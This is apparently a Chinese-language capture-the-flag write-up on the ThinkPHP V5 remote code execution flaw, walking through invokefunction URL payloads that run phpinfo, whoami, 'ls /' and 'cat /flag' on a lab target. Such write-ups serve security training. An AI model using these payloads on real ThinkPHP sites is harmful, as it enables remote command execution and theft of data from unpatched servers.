前言
- 考点:
ThinkPHP V5(尤其是 5.0/5.1 非 LTS 版本)因历史设计缺陷和早期版本安全防护不足,存在多个高危远程代码执行(RCE)漏洞,是黑客批量攻击的重点目标,其中以5.0.x 远程代码执行漏洞和5.1.x 方法名可控代码执行漏洞最为典型、危害最大- 对于本题我们可以先搜索了解这个漏洞,找到漏洞测试和利用方法,在进行实践
解题步骤:
- 1.进入环境,我们看到页面提示,ThinkPHP V5

我们点击"七牛云",进入一个网址,但并没有什么有用信息 - 2.我们先搜索了解这个漏洞,猜测本题存在ThinkPHP5 版本框架的漏洞,于是查找这个漏洞框架的利用方法
- 3.我们进行测试,输入:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1,若页面返回PHPINFO 信息(PHP 版本、配置等),说明存在该漏洞,页面输出了PHP信息(这里截取了一部分),证明存在该漏洞

- 4.我们再将
phpinfo改成其他命令执行函数,输入:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami,得到页面回显

- 5.我们将
whoami改成ls /,即输入?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /,得到

证明根目录下存在flag - 6.我们再将
ls /改成cat /flag,即输入?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag,得到flag
